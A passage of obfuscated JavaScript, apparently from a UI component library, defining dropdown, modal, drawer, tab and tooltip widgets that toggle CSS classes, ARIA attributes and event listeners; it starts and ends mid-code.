_0x2a20f3 = arguments[_0x25e457]) Object['prototype']['hasOwnProperty']['call'](_0x2a20f3, _0x30e640) && (_0x775574[_0x30e640] = _0x2a20f3[_0x30e640]); return _0x775574; }, _0xef3f9c['apply'](this, arguments); }, _0x34cd97 = function (_0x4f1e7c, _0x13b926, _0x523735) { if (_0x523735 || 0x2 === arguments['length']) { for (var _0x525513, _0x3c5020 = 0x0, _0x27367a = _0x13b926['length']; _0x3c5020 < _0x27367a; _0x3c5020++)!_0x525513 && _0x3c5020 in _0x13b926 || (_0x525513 || (_0x525513 = Array['prototype']['slice']['call'](_0x13b926, 0x0, _0x3c5020)), _0x525513[_0x3c5020] = _0x13b926[_0x3c5020]); } return _0x4f1e7c['concat'](_0x525513 || Array['prototype']['slice']['call'](_0x13b926)); }, _0x42ebcb = { 'placement': 'bottom', 'triggerType': 'click', 'offsetSkidding': 0x0, 'offsetDistance': 0xa, 'delay': 0x12c, 'onShow': function () { }, 'onHide': function () { }, 'onToggle': function () { } }, _0x28665b = (function () { function _0x241310(_0x389430, _0xa2107b, _0x4da91a) { void 0x0 === _0x389430 && (_0x389430 = null), void 0x0 === _0xa2107b && (_0xa2107b = null), void 0x0 === _0x4da91a && (_0x4da91a = _0x42ebcb), this['_targetEl'] = _0x389430, this['_triggerEl'] = _0xa2107b, this['_options'] = _0xef3f9c(_0xef3f9c({}, _0x42ebcb), _0x4da91a), this['_popperInstance'] = this['_createPopperInstance'](), this['_visible'] = !0x1, this['_init'](); } return _0x241310['prototype']['_init'] = function () { this['_triggerEl'] && this['_setupEventListeners'](); }, _0x241310['prototype']['_setupEventListeners'] = function () { var _0x3070b8 = this, _0x2afb31 = this['_getTriggerEvents'](); 'click' === this['_options']['triggerType'] && _0x2afb31['showEvents']['forEach'](function (_0x3a8815) { _0x3070b8['_triggerEl']['addEventListener'](_0x3a8815, function () { _0x3070b8['toggle'](); }); }), 'hover' === this['_options']['triggerType'] && (_0x2afb31['showEvents']['forEach'](function (_0x15054d) { _0x3070b8['_triggerEl']['addEventListener'](_0x15054d, function () { 'click' === _0x15054d ? _0x3070b8['toggle']() : setTimeout(function () { _0x3070b8['show'](); }, _0x3070b8['_options']['delay']); }), _0x3070b8['_targetEl']['addEventListener'](_0x15054d, function () { _0x3070b8['show'](); }); }), _0x2afb31['hideEvents']['forEach'](function (_0x20c3c0) { _0x3070b8['_triggerEl']['addEventListener'](_0x20c3c0, function () { setTimeout(function () { _0x3070b8['_targetEl']['matches'](':hover') || _0x3070b8['hide'](); }, _0x3070b8['_options']['delay']); }), _0x3070b8['_targetEl']['addEventListener'](_0x20c3c0, function () { setTimeout(function () { _0x3070b8['_triggerEl']['matches'](':hover') || _0x3070b8['hide'](); }, _0x3070b8['_options']['delay']); }); })); }, _0x241310['prototype']['_createPopperInstance'] = function () { return _0x23947d(this['_triggerEl'], this['_targetEl'], { 'placement': this['_options']['placement'], 'modifiers': [{ 'name': 'offset', 'options': { 'offset': [this['_options']['offsetSkidding'], this['_options']['offsetDistance']] } }] }); }, _0x241310['prototype']['_setupClickOutsideListener'] = function () { var _0x37f27f = this; this['_clickOutsideEventListener'] = function (_0xcc4275) { _0x37f27f['_handleClickOutside'](_0xcc4275, _0x37f27f['_targetEl']); }, document['body']['addEventListener']('click', this['_clickOutsideEventListener'], !0x0); }, _0x241310['prototype']['_removeClickOutsideListener'] = function () { document['body']['removeEventListener']('click', this['_clickOutsideEventListener'], !0x0); }, _0x241310['prototype']['_handleClickOutside'] = function (_0x52a098, _0x403b53) { var _0x339d79 = _0x52a098['target']; _0x339d79 === _0x403b53 || _0x403b53['contains'](_0x339d79) || this['_triggerEl']['contains'](_0x339d79) || !this['isVisible']() || this['hide'](); }, _0x241310['prototype']['_getTriggerEvents'] = function () { switch (this['_options']['triggerType']) { case 'hover': return { 'showEvents': ['mouseenter', 'click'], 'hideEvents': ['mouseleave'] }; case 'click': default: return { 'showEvents': ['click'], 'hideEvents': [] }; case 'none': return { 'showEvents': [], 'hideEvents': [] }; } }, _0x241310['prototype']['toggle'] = function () { this['isVisible']() ? this['hide']() : this['show'](), this['_options']['onToggle'](this); }, _0x241310['prototype']['isVisible'] = function () { return this['_visible']; }, _0x241310['prototype']['show'] = function () { this['_targetEl']['classList']['remove']('hidden'), this['_targetEl']['classList']['add']('block'), this['_popperInstance']['setOptions'](function (_0xa272b8) { return _0xef3f9c(_0xef3f9c({}, _0xa272b8), { 'modifiers': _0x34cd97(_0x34cd97([], _0xa272b8['modifiers'], !0x0), [{ 'name': 'eventListeners', 'enabled': !0x0 }], !0x1) }); }), this['_setupClickOutsideListener'](), this['_popperInstance']['update'](), this['_visible'] = !0x0, this['_options']['onShow'](this); }, _0x241310['prototype']['hide'] = function () { this['_targetEl']['classList']['remove']('block'), this['_targetEl']['classList']['add']('hidden'), this['_popperInstance']['setOptions'](function (_0x5a4a71) { return _0xef3f9c(_0xef3f9c({}, _0x5a4a71), { 'modifiers': _0x34cd97(_0x34cd97([], _0x5a4a71['modifiers'], !0x0), [{ 'name': 'eventListeners', 'enabled': !0x1 }], !0x1) }); }), this['_visible'] = !0x1, this['_removeClickOutsideListener'](), this['_options']['onHide'](this); }, _0x241310; }()); function _0x26848d() { document['querySelectorAll']('[data-dropdown-toggle]')['forEach'](function (_0x4103be) { var _0x148f55 = _0x4103be['getAttribute']('data-dropdown-toggle'), _0x31ba5e = document['getElementById'](_0x148f55); if (_0x31ba5e) { var _0xc5e55 = _0x4103be['getAttribute']('data-dropdown-placement'), _0x50f0ae = _0x4103be['getAttribute']('data-dropdown-offset-skidding'), _0x121b4c = _0x4103be['getAttribute']('data-dropdown-offset-distance'), _0x658af5 = _0x4103be['getAttribute']('data-dropdown-trigger'), _0x503827 = _0x4103be['getAttribute']('data-dropdown-delay'); new _0x28665b(_0x31ba5e, _0x4103be, { 'placement': _0xc5e55 || _0x42ebcb['placement'], 'triggerType': _0x658af5 || _0x42ebcb['triggerType'], 'offsetSkidding': _0x50f0ae ? parseInt(_0x50f0ae) : _0x42ebcb['offsetSkidding'], 'offsetDistance': _0x121b4c ? parseInt(_0x121b4c) : _0x42ebcb['offsetDistance'], 'delay': _0x503827 ? parseInt(_0x503827) : _0x42ebcb['delay'] }); } }); } 'undefined' != typeof window && (window['Dropdown'] = _0x28665b, window['initDropdowns'] = _0x26848d); const _0x335357 = _0x28665b; var _0x13180c = function () { return _0x13180c = Object['assign'] || function (_0x4821f7) { for (var _0x1d409c, _0x4d92ad = 0x1, _0x4675a4 = arguments['length']; _0x4d92ad < _0x4675a4; _0x4d92ad++)for (var _0x11d2bc in _0x1d409c = arguments[_0x4d92ad]) Object['prototype']['hasOwnProperty']['call'](_0x1d409c, _0x11d2bc) && (_0x4821f7[_0x11d2bc] = _0x1d409c[_0x11d2bc]); return _0x4821f7; }, _0x13180c['apply'](this, arguments); }, _0x441a41 = { 'placement': 'center', 'backdropClasses': 'bg-gray-900\x20bg-opacity-50\x20dark:bg-opacity-80\x20fixed\x20inset-0\x20z-40', 'backdrop': 'dynamic', 'closable': !0x0, 'onHide': function () { }, 'onShow': function () { }, 'onToggle': function () { } }, _0x31fda0 = (function () { function _0x5e4496(_0x49909e, _0x50658f) { void 0x0 === _0x49909e && (_0x49909e = null), void 0x0 === _0x50658f && (_0x50658f = _0x441a41), this['_targetEl'] = _0x49909e, this['_options'] = _0x13180c(_0x13180c({}, _0x441a41), _0x50658f), this['_isHidden'] = !0x0, this['_backdropEl'] = null, this['_init'](); } return _0x5e4496['prototype']['_init'] = function () { var _0x593608 = this; this['_targetEl'] && this['_getPlacementClasses']()['map'](function (_0x1adb88) { _0x593608['_targetEl']['classList']['add'](_0x1adb88); }); }, _0x5e4496['prototype']['_createBackdrop'] = function () { var _0x43d5d0; if (this['_isHidden']) { var _0x4e84a1 = document['createElement']('div'); _0x4e84a1['setAttribute']('modal-backdrop', ''), (_0x43d5d0 = _0x4e84a1['classList'])['add']['apply'](_0x43d5d0, this['_options']['backdropClasses']['split']('\x20')), document['querySelector']('body')['append'](_0x4e84a1), this['_backdropEl'] = _0x4e84a1; } }, _0x5e4496['prototype']['_destroyBackdropEl'] = function () { this['_isHidden'] || document['querySelector']('[modal-backdrop]')['remove'](); }, _0x5e4496['prototype']['_setupModalCloseEventListeners'] = function () { var _0x432470 = this; 'dynamic' === this['_options']['backdrop'] && (this['_clickOutsideEventListener'] = function (_0x50ab07) { _0x432470['_handleOutsideClick'](_0x50ab07['target']); }, this['_targetEl']['addEventListener']('click', this['_clickOutsideEventListener'], !0x0)), this['_keydownEventListener'] = function (_0x264266) { 'Escape' === _0x264266['key'] && _0x432470['hide'](); }, document['body']['addEventListener']('keydown', this['_keydownEventListener'], !0x0); }, _0x5e4496['prototype']['_removeModalCloseEventListeners'] = function () { 'dynamic' === this['_options']['backdrop'] && this['_targetEl']['removeEventListener']('click', this['_clickOutsideEventListener'], !0x0), document['body']['removeEventListener']('keydown', this['_keydownEventListener'], !0x0); }, _0x5e4496['prototype']['_handleOutsideClick'] = function (_0x14d8c3) { (_0x14d8c3 === this['_targetEl'] || _0x14d8c3 === this['_backdropEl'] && this['isVisible']()) && this['hide'](); }, _0x5e4496['prototype']['_getPlacementClasses'] = function () { switch (this['_options']['placement']) { case 'top-left': return ['justify-start', 'items-start']; case 'top-center': return ['justify-center', 'items-start']; case 'top-right': return ['justify-end', 'items-start']; case 'center-left': return ['justify-start', 'items-center']; case 'center': default: return ['justify-center', 'items-center']; case 'center-right': return ['justify-end', 'items-center']; case 'bottom-left': return ['justify-start', 'items-end']; case 'bottom-center': return ['justify-center', 'items-end']; case 'bottom-right': return ['justify-end', 'items-end']; } }, _0x5e4496['prototype']['toggle'] = function () { this['_isHidden'] ? this['show']() : this['hide'](), this['_options']['onToggle'](this); }, _0x5e4496['prototype']['show'] = function () { this['isHidden'] && (this['_targetEl']['classList']['add']('flex'), this['_targetEl']['classList']['remove']('hidden'), this['_targetEl']['setAttribute']('aria-modal', 'true'), this['_targetEl']['setAttribute']('role', 'dialog'), this['_targetEl']['removeAttribute']('aria-hidden'), this['_createBackdrop'](), this['_isHidden'] = !0x1, document['body']['classList']['add']('overflow-hidden'), this['_options']['closable'] && this['_setupModalCloseEventListeners'](), this['_options']['onShow'](this)); }, _0x5e4496['prototype']['hide'] = function () { this['isVisible'] && (this['_targetEl']['classList']['add']('hidden'), this['_targetEl']['classList']['remove']('flex'), this['_targetEl']['setAttribute']('aria-hidden', 'true'), this['_targetEl']['removeAttribute']('aria-modal'), this['_targetEl']['removeAttribute']('role'), this['_destroyBackdropEl'](), this['_isHidden'] = !0x0, document['body']['classList']['remove']('overflow-hidden'), this['_options']['closable'] && this['_removeModalCloseEventListeners'](), this['_options']['onHide'](this)); }, _0x5e4496['prototype']['isVisible'] = function () { return !this['_isHidden']; }, _0x5e4496['prototype']['isHidden'] = function () { return this['_isHidden']; }, _0x5e4496; }()), _0x46f232 = function (_0x17994f, _0x57e290) { return _0x57e290['some'](function (_0x57440c) { return _0x57440c['id'] === _0x17994f; }) ? _0x57e290['find'](function (_0x510bdf) { return _0x510bdf['id'] === _0x17994f; }) : null; }; function _0x51de58() { var _0x1465d3 = []; document['querySelectorAll']('[data-modal-target]')['forEach'](function (_0x3b7efb) { var _0xb83972 = _0x3b7efb['getAttribute']('data-modal-target'), _0x228e71 = document['getElementById'](_0xb83972); if (_0x228e71) { var _0x4cb933 = _0x228e71['getAttribute']('data-modal-placement'), _0x2778e5 = _0x228e71['getAttribute']('data-modal-backdrop'); _0x46f232(_0xb83972, _0x1465d3) || _0x1465d3['push']({ 'id': _0xb83972, 'object': new _0x31fda0(_0x228e71, { 'placement': _0x4cb933 || _0x441a41['placement'], 'backdrop': _0x2778e5 || _0x441a41['backdrop'] }) }); } }), document['querySelectorAll']('[data-modal-toggle]')['forEach'](function (_0x56a960) { var _0x44a9b2 = _0x56a960['getAttribute']('data-modal-toggle'), _0x1c8a07 = document['getElementById'](_0x44a9b2); if (_0x1c8a07) { var _0x5910d2 = _0x1c8a07['getAttribute']('data-modal-placement'), _0x9d22fe = _0x1c8a07['getAttribute']('data-modal-backdrop'), _0x18ccfe = _0x46f232(_0x44a9b2, _0x1465d3); _0x18ccfe || (_0x18ccfe = { 'id': _0x44a9b2, 'object': new _0x31fda0(_0x1c8a07, { 'placement': _0x5910d2 || _0x441a41['placement'], 'backdrop': _0x9d22fe || _0x441a41['backdrop'] }) }, _0x1465d3['push'](_0x18ccfe)), _0x56a960['addEventListener']('click', function () { _0x18ccfe['object']['toggle'](); }); } }), document['querySelectorAll']('[data-modal-show]')['forEach'](function (_0x3543bc) { var _0x197a44 = _0x3543bc['getAttribute']('data-modal-show'); if (document['getElementById'](_0x197a44)) { var _0x20352b = _0x46f232(_0x197a44, _0x1465d3); _0x20352b && _0x3543bc['addEventListener']('click', function () { _0x20352b['object']['isHidden'] && _0x20352b['object']['show'](); }); } }), document['querySelectorAll']('[data-modal-hide]')['forEach'](function (_0x40e34c) { var _0x38ca92 = _0x40e34c['getAttribute']('data-modal-hide'); if (document['getElementById'](_0x38ca92)) { var _0xa7ecdf = _0x46f232(_0x38ca92, _0x1465d3); _0xa7ecdf && _0x40e34c['addEventListener']('click', function () { _0xa7ecdf['object']['isVisible'] && _0xa7ecdf['object']['hide'](); }); } }); } 'undefined' != typeof window && (window['Modal'] = _0x31fda0, window['initModals'] = _0x51de58); const _0x425b48 = _0x31fda0; var _0x3604ed = function () { return _0x3604ed = Object['assign'] || function (_0x488aea) { for (var _0x3edacd, _0x2ce0bf = 0x1, _0x2b1624 = arguments['length']; _0x2ce0bf < _0x2b1624; _0x2ce0bf++)for (var _0xd85fbc in _0x3edacd = arguments[_0x2ce0bf]) Object['prototype']['hasOwnProperty']['call'](_0x3edacd, _0xd85fbc) && (_0x488aea[_0xd85fbc] = _0x3edacd[_0xd85fbc]); return _0x488aea; }, _0x3604ed['apply'](this, arguments); }, _0x21ac20 = { 'placement': 'left', 'bodyScrolling': !0x1, 'backdrop': !0x0, 'edge': !0x1, 'edgeOffset': 'bottom-[60px]', 'backdropClasses': 'bg-gray-900\x20bg-opacity-50\x20dark:bg-opacity-80\x20fixed\x20inset-0\x20z-30', 'onShow': function () { }, 'onHide': function () { }, 'onToggle': function () { } }, _0x1fb02e = (function () { function _0x4b9c2a(_0x3039ea, _0x26f5d9) { void 0x0 === _0x3039ea && (_0x3039ea = null), void 0x0 === _0x26f5d9 && (_0x26f5d9 = _0x21ac20), this['_targetEl'] = _0x3039ea, this['_options'] = _0x3604ed(_0x3604ed({}, _0x21ac20), _0x26f5d9), this['_visible'] = !0x1, this['_init'](); } return _0x4b9c2a['prototype']['_init'] = function () { var _0x2df86c = this; this['_targetEl'] && (this['_targetEl']['setAttribute']('aria-hidden', 'true'), this['_targetEl']['classList']['add']('transition-transform')), this['_getPlacementClasses'](this['_options']['placement'])['base']['map'](function (_0xdf346b) { _0x2df86c['_targetEl']['classList']['add'](_0xdf346b); }), document['addEventListener']('keydown', function (_0x28dba8) { 'Escape' === _0x28dba8['key'] && _0x2df86c['isVisible']() && _0x2df86c['hide'](); }); }, _0x4b9c2a['prototype']['hide'] = function () { var _0x51d2b4 = this; this['_options']['edge'] ? (this['_getPlacementClasses'](this['_options']['placement'] + '-edge')['active']['map'](function (_0xcc5158) { _0x51d2b4['_targetEl']['classList']['remove'](_0xcc5158); }), this['_getPlacementClasses'](this['_options']['placement'] + '-edge')['inactive']['map'](function (_0x21fa14) { _0x51d2b4['_targetEl']['classList']['add'](_0x21fa14); })) : (this['_getPlacementClasses'](this['_options']['placement'])['active']['map'](function (_0x503c45) { _0x51d2b4['_targetEl']['classList']['remove'](_0x503c45); }), this['_getPlacementClasses'](this['_options']['placement'])['inactive']['map'](function (_0x4c4b54) { _0x51d2b4['_targetEl']['classList']['add'](_0x4c4b54); })), this['_targetEl']['setAttribute']('aria-hidden', 'true'), this['_targetEl']['removeAttribute']('aria-modal'), this['_targetEl']['removeAttribute']('role'), this['_options']['bodyScrolling'] || document['body']['classList']['remove']('overflow-hidden'), this['_options']['backdrop'] && this['_destroyBackdropEl'](), this['_visible'] = !0x1, this['_options']['onHide'](this); }, _0x4b9c2a['prototype']['show'] = function () { var _0x23f8b5 = this; this['_options']['edge'] ? (this['_getPlacementClasses'](this['_options']['placement'] + '-edge')['active']['map'](function (_0x71000a) { _0x23f8b5['_targetEl']['classList']['add'](_0x71000a); }), this['_getPlacementClasses'](this['_options']['placement'] + '-edge')['inactive']['map'](function (_0x286a50) { _0x23f8b5['_targetEl']['classList']['remove'](_0x286a50); })) : (this['_getPlacementClasses'](this['_options']['placement'])['active']['map'](function (_0x42704d) { _0x23f8b5['_targetEl']['classList']['add'](_0x42704d); }), this['_getPlacementClasses'](this['_options']['placement'])['inactive']['map'](function (_0x5b198b) { _0x23f8b5['_targetEl']['classList']['remove'](_0x5b198b); })), this['_targetEl']['setAttribute']('aria-modal', 'true'), this['_targetEl']['setAttribute']('role', 'dialog'), this['_targetEl']['removeAttribute']('aria-hidden'), this['_options']['bodyScrolling'] || document['body']['classList']['add']('overflow-hidden'), this['_options']['backdrop'] && this['_createBackdrop'](), this['_visible'] = !0x0, this['_options']['onShow'](this); }, _0x4b9c2a['prototype']['toggle'] = function () { this['isVisible']() ? this['hide']() : this['show'](); }, _0x4b9c2a['prototype']['_createBackdrop'] = function () { var _0x503613, _0x4df323 = this; if (!this['_visible']) { var _0x278cf3 = document['createElement']('div'); _0x278cf3['setAttribute']('drawer-backdrop', ''), (_0x503613 = _0x278cf3['classList'])['add']['apply'](_0x503613, this['_options']['backdropClasses']['split']('\x20')), document['querySelector']('body')['append'](_0x278cf3), _0x278cf3['addEventListener']('click', function () { _0x4df323['hide'](); }); } }, _0x4b9c2a['prototype']['_destroyBackdropEl'] = function () { this['_visible'] && document['querySelector']('[drawer-backdrop]')['remove'](); }, _0x4b9c2a['prototype']['_getPlacementClasses'] = function (_0x3de369) { switch (_0x3de369) { case 'top': return { 'base': ['top-0', 'left-0', 'right-0'], 'active': ['transform-none'], 'inactive': ['-translate-y-full'] }; case 'right': return { 'base': ['right-0', 'top-0'], 'active': ['transform-none'], 'inactive': ['translate-x-full'] }; case 'bottom': return { 'base': ['bottom-0', 'left-0', 'right-0'], 'active': ['transform-none'], 'inactive': ['translate-y-full'] }; case 'left': default: return { 'base': ['left-0', 'top-0'], 'active': ['transform-none'], 'inactive': ['-translate-x-full'] }; case 'bottom-edge': return { 'base': ['left-0', 'top-0'], 'active': ['transform-none'], 'inactive': ['translate-y-full', this['_options']['edgeOffset']] }; } }, _0x4b9c2a['prototype']['isHidden'] = function () { return !this['_visible']; }, _0x4b9c2a['prototype']['isVisible'] = function () { return this['_visible']; }, _0x4b9c2a; }()), _0x532232 = function (_0x41d3e8, _0x29db1a) { if (_0x29db1a['some'](function (_0x436d81) { return _0x436d81['id'] === _0x41d3e8; })) return _0x29db1a['find'](function (_0xf8416d) { return _0xf8416d['id'] === _0x41d3e8; }); }; function _0x58d620() { var _0x3701e7 = []; document['querySelectorAll']('[data-drawer-target]')['forEach'](function (_0x2e68cc) { var _0x569c88 = _0x2e68cc['getAttribute']('data-drawer-target'), _0x878d66 = document['getElementById'](_0x569c88); if (_0x878d66) { var _0x5998ba = _0x2e68cc['getAttribute']('data-drawer-placement'), _0x42600d = _0x2e68cc['getAttribute']('data-drawer-body-scrolling'), _0x5bbaf5 = _0x2e68cc['getAttribute']('data-drawer-backdrop'), _0x525aab = _0x2e68cc['getAttribute']('data-drawer-edge'), _0x2d5713 = _0x2e68cc['getAttribute']('data-drawer-edge-offset'); _0x532232(_0x569c88, _0x3701e7) || _0x3701e7['push']({ 'id': _0x569c88, 'object': new _0x1fb02e(_0x878d66, { 'placement': _0x5998ba || _0x21ac20['placement'], 'bodyScrolling': _0x42600d ? 'true' === _0x42600d : _0x21ac20['bodyScrolling'], 'backdrop': _0x5bbaf5 ? 'true' === _0x5bbaf5 : _0x21ac20['backdrop'], 'edge': _0x525aab ? 'true' === _0x525aab : _0x21ac20['edge'], 'edgeOffset': _0x2d5713 || _0x21ac20['edgeOffset'] }) }); } }), document['querySelectorAll']('[data-drawer-toggle]')['forEach'](function (_0x5bca74) { var _0x38fbf5 = _0x5bca74['getAttribute']('data-drawer-toggle'); if (document['getElementById'](_0x38fbf5)) { var _0x54ed0c = _0x532232(_0x38fbf5, _0x3701e7); _0x54ed0c && _0x5bca74['addEventListener']('click', function () { _0x54ed0c['object']['toggle'](); }); } }), document['querySelectorAll']('[data-drawer-dismiss],\x20[data-drawer-hide]')['forEach'](function (_0x43a4ed) { var _0x1717f7 = _0x43a4ed['getAttribute']('data-drawer-dismiss') ? _0x43a4ed['getAttribute']('data-drawer-dismiss') : _0x43a4ed['getAttribute']('data-drawer-hide'); if (document['getElementById'](_0x1717f7)) { var _0x246b83 = _0x532232(_0x1717f7, _0x3701e7); _0x246b83 && _0x43a4ed['addEventListener']('click', function () { _0x246b83['object']['hide'](); }); } }), document['querySelectorAll']('[data-drawer-show]')['forEach'](function (_0x1876f7) { var _0x120de1 = _0x1876f7['getAttribute']('data-drawer-show'); if (document['getElementById'](_0x120de1)) { var _0x50e09b = _0x532232(_0x120de1, _0x3701e7); _0x50e09b && _0x1876f7['addEventListener']('click', function () { _0x50e09b['object']['show'](); }); } }); } 'undefined' != typeof window && (window['Drawer'] = _0x1fb02e, window['initDrawers'] = _0x58d620); const _0x347ec2 = _0x1fb02e; var _0x4c39e7 = function () { return _0x4c39e7 = Object['assign'] || function (_0x3d5232) { for (var _0x42b766, _0x43a6c7 = 0x1, _0x387c12 = arguments['length']; _0x43a6c7 < _0x387c12; _0x43a6c7++)for (var _0x5f4c4d in _0x42b766 = arguments[_0x43a6c7]) Object['prototype']['hasOwnProperty']['call'](_0x42b766, _0x5f4c4d) && (_0x3d5232[_0x5f4c4d] = _0x42b766[_0x5f4c4d]); return _0x3d5232; }, _0x4c39e7['apply'](this, arguments); }, _0x7acb76 = { 'defaultTabId': null, 'activeClasses': 'text-blue-600\x20hover:text-blue-600\x20dark:text-blue-500\x20dark:hover:text-blue-500\x20border-blue-600\x20dark:border-blue-500', 'inactiveClasses': 'dark:border-transparent\x20text-gray-500\x20hover:text-gray-600\x20dark:text-gray-400\x20border-gray-100\x20hover:border-gray-300\x20dark:border-gray-700\x20dark:hover:text-gray-300', 'onShow': function () { } }, _0x4fe3f6 = (function () { function _0x16fd1e(_0x20a2ae, _0x5851b4) { void 0x0 === _0x20a2ae && (_0x20a2ae = []), void 0x0 === _0x5851b4 && (_0x5851b4 = _0x7acb76), this['_items'] = _0x20a2ae, this['_activeTab'] = _0x5851b4 ? this['getTab'](_0x5851b4['defaultTabId']) : null, this['_options'] = _0x4c39e7(_0x4c39e7({}, _0x7acb76), _0x5851b4), this['_init'](); } return _0x16fd1e['prototype']['_init'] = function () { var _0x1efcf6 = this; this['_items']['length'] && (this['_activeTab'] || this['_setActiveTab'](this['_items'][0x0]), this['show'](this['_activeTab']['id'], !0x0), this['_items']['map'](function (_0x9cfb4f) { _0x9cfb4f['triggerEl']['addEventListener']('click', function () { _0x1efcf6['show'](_0x9cfb4f['id']); }); })); }, _0x16fd1e['prototype']['getActiveTab'] = function () { return this['_activeTab']; }, _0x16fd1e['prototype']['_setActiveTab'] = function (_0xc0e7b5) { this['_activeTab'] = _0xc0e7b5; }, _0x16fd1e['prototype']['getTab'] = function (_0x54a09f) { return this['_items']['filter'](function (_0x10875f) { return _0x10875f['id'] === _0x54a09f; })[0x0]; }, _0x16fd1e['prototype']['show'] = function (_0x21f844, _0x47f327) { var _0x21463d, _0x3b88f0, _0x5dfda3 = this; void 0x0 === _0x47f327 && (_0x47f327 = !0x1); var _0x408201 = this['getTab'](_0x21f844); (_0x408201 !== this['_activeTab'] || _0x47f327) && (this['_items']['map'](function (_0x407f0d) { var _0x3bcdb7, _0x10fb35; _0x407f0d !== _0x408201 && ((_0x3bcdb7 = _0x407f0d['triggerEl']['classList'])['remove']['apply'](_0x3bcdb7, _0x5dfda3['_options']['activeClasses']['split']('\x20')), (_0x10fb35 = _0x407f0d['triggerEl']['classList'])['add']['apply'](_0x10fb35, _0x5dfda3['_options']['inactiveClasses']['split']('\x20')), _0x407f0d['targetEl']['classList']['add']('hidden'), _0x407f0d['triggerEl']['setAttribute']('aria-selected', 'false')); }), (_0x21463d = _0x408201['triggerEl']['classList'])['add']['apply'](_0x21463d, this['_options']['activeClasses']['split']('\x20')), (_0x3b88f0 = _0x408201['triggerEl']['classList'])['remove']['apply'](_0x3b88f0, this['_options']['inactiveClasses']['split']('\x20')), _0x408201['triggerEl']['setAttribute']('aria-selected', 'true'), _0x408201['targetEl']['classList']['remove']('hidden'), this['_setActiveTab'](_0x408201), this['_options']['onShow'](this, _0x408201)); }, _0x16fd1e; }()); function _0x332bde() { document['querySelectorAll']('[data-tabs-toggle]')['forEach'](function (_0x11e301) { var _0x4cb7ff = [], _0x266b1a = null; _0x11e301['querySelectorAll']('[role=\x22tab\x22]')['forEach'](function (_0x1b63e1) { var _0x362378 = 'true' === _0x1b63e1['getAttribute']('aria-selected'), _0x486ef6 = { 'id': _0x1b63e1['getAttribute']('data-tabs-target'), 'triggerEl': _0x1b63e1, 'targetEl': document['querySelector'](_0x1b63e1['getAttribute']('data-tabs-target')) }; _0x4cb7ff['push'](_0x486ef6), _0x362378 && (_0x266b1a = _0x486ef6['id']); }), new _0x4fe3f6(_0x4cb7ff, { 'defaultTabId': _0x266b1a }); }); } 'undefined' != typeof window && (window['Tabs'] = _0x4fe3f6, window['initTabs'] = _0x332bde); const _0x57f8ce = _0x4fe3f6; var _0x3dbdba = function () { return _0x3dbdba = Object['assign'] || function (_0x3915bc) { for (var _0x4514e0, _0x51ed44 = 0x1, _0xdbbc2a = arguments['length']; _0x51ed44 < _0xdbbc2a; _0x51ed44++)for (var _0x52a46c in _0x4514e0 = arguments[_0x51ed44]) Object['prototype']['hasOwnProperty']['call'](_0x4514e0, _0x52a46c) && (_0x3915bc[_0x52a46c] = _0x4514e0[_0x52a46c]); return _0x3915bc; }, _0x3dbdba['apply'](this, arguments); }, _0x4c07a5 = function (_0x5834c8, _0x3655dc, _0x3cdc7e) { if (_0x3cdc7e || 0x2 === arguments['length']) { for (var _0x8169ee, _0x42e722 = 0x0, _0x52e42f = _0x3655dc['length']; _0x42e722 < _0x52e42f; _0x42e722++)!_0x8169ee && _0x42e722 in _0x3655dc || (_0x8169ee || (_0x8169ee = Array['prototype']['slice']['call'](_0x3655dc, 0x0, _0x42e722)), _0x8169ee[_0x42e722] = _0x3655dc[_0x42e722]); } return _0x5834c8['concat'](_0x8169ee || Array['prototype']['slice']['call'](_0x3655dc)); }, _0x12f886 = { 'placement': 'top', 'triggerType': 'hover', 'onShow': function () { }, 'onHide': function () { }, 'onToggle': function () { } }, _0x45aa67 = (function () { function _0x44367d(_0x4aaa25, _0x125966, _0x36383c) { void 0x0 === _0x4aaa25 && (_0x4aaa25 = null), void 0x0 === _0x125966 && (_0x125966 = null), void 0x0 === _0x36383c && (_0x36383c = _0x12f886), this['_targetEl'] = _0x4aaa25, this['_triggerEl'] = _0x125966, this['_options'] = _0x3dbdba(_0x3dbdba({}, _0x12f886), _0x36383c), this['_popperInstance'] = this['_createPopperInstance'](), this['_visible'] = !0x1, this['_init'](); } return _0x44367d['prototype']['_init'] = function () { this['_triggerEl'] && this['_setupEventListeners'](); }, _0x44367d['prototype']['_setupEventListeners'] = function () { var _0x1566b8 = this, _0x3c1f17 = this['_getTriggerEvents'](); _0x3c1f17['showEvents']['forEach'](function (_0x447fc8) { _0x1566b8['_triggerEl']['addEventListener'](_0x447fc8, function () { _0x1566b8['show'](); }); }), _0x3c1f17['hideEvents']['forEach'](function (_0x1e44f5) { _0x1566b8['_triggerEl']['addEventListener'](_0x1e44f5, function () { _0x1566b8['hide'](); }); }); }, _0x44367d['prototype']['_createPopperInstance'] = function () { return _0x23947d(this['_triggerEl'], this['_targetEl'], { 'placement': this['_options']['placement'], 'modifiers': [{ 'name': 'offset', 'options': { 'offset': [0x0, 0x8] } }] }); }, _0x44367d['prototype']['_getTriggerEvents'] = function () { switch (this['_options']['triggerType']) { case 'hover': default: return { 'showEvents': ['mouseenter', 'focus'], 'hideEvents': ['mouseleave', 'blur'] }; case 'click': return { 'showEvents': ['click', 'focus'], 'hideEvents': ['focusout', 'blur'] }; case 'none': return { 'showEvents': [], 'hideEvents': [] }; } }, _0x44367d['prototype']['_setupKeydownListener'] = function () { var _0x4c3068 = this; this['_keydownEventListener'] = function (_0x481253) { 'Escape' === _0x481253['key'] && _0x4c3068['hide'](); }, document['body']['addEventListener']('keydown', this['_keydownEventListener'], !0x0); }, _0x44367d['prototype']['_removeKeydownListener'] = function () { document['body']['removeEventListener']('keydown', this['_keydownEventListener'], !0x0); }, _0x44367d['prototype']['_setupClickOutsideListener'] = function () { var _0xc585ad = this; this['_clickOutsideEventListener'] = function (_0x407260) { _0xc585ad['_handleClickOutside'](_0x407260, _0xc585ad['_targetEl']); }, document['body']['addEventListener']('click', this['_clickOutsideEventListener'], !0x0); }, _0x44367d['prototype']['_removeClickOutsideListener'] = function () { document['body']['removeEventListener']('click', this['_clickOutsideEventListener'], !0x0); }, _0x44367d['prototype']['_handleClickOutside'] = function (_0x4f7edd, _0x5270b9) { var _0x4d48d2 = _0x4f7edd['target']; _0x4d48d2 === _0x5270b9 || _0x5270b9['contains'](_0x4d48d2) || this['_triggerEl']['contains'](_0x4d48d2) || !this['isVisible']() || this['hide'](); }, _0x44367d['prototype']['isVisible'] = function () { return this['_visible']; }, _0x44367d['prototype']['toggle'] = function () { this['isVisible']() ? this['hide']() : this['show'](); }, _0x44367d['prototype']['show'] = function () { 